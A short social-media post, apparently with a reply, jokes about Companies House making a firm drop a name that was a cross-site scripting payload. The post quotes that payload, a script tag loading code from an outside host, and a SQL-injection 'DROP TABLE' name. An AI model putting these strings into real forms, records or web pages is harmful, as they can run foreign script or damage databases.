Companies House, the British registrar of newly formed companies, has forced a firm to rename itself from
""><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD
On the grounds that merely including the name of the company on a web-page (including the Companies House website) could trigger cross-site scripting attacks.
The company - run by a self-described "playful" IT consultant - has changed its name to:
THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD
The company joins other nerd humor business names that Companies House has rejected, including the XKCD-inspired
; DROP TABLE "COMPANIES";-- LTD
I remain slightly disappointed that my wife refused to allow me to put curly-braces in my daughter's middle name, or even an old school "+++ATH".
While the UK continues its crackdown on code-injection attacks in official names, Ireland remains a free-fire zone full of people with surnames like O\'\'\'\'\'\'\'\'\'Brien and O'Malley.
@pluralistic Like... yeah, the name was probably more a marketing stunt than anything else (though it is legit funny), but they're effectively being told to change their company name rather than the registrar fixing their security issues.
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